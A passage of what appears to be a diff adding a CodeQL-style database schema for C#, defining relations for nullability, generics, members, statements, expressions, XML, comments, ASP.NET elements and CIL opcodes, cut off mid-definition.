@function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +foreach_stmt_info( + unique int id: @foreach_stmt ref, + int kind: int ref /* non-async = 1, async = 2 */); + +@foreach_symbol = @method | @property | @type_or_ref; + +#keyset[id, kind] +foreach_stmt_desugar( + int id: @foreach_stmt ref, + int symbol: @foreach_symbol ref, + int kind: int ref /* GetEnumeratorMethod = 1, CurrentProperty = 2, MoveNextMethod = 3, DisposeMethod = 4, ElementType = 5 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter | @directive_if | @directive_elif; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr +| 129 = @function_pointer_invocation_expr +/* Preprocessor */ +| 999 = @define_symbol_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = 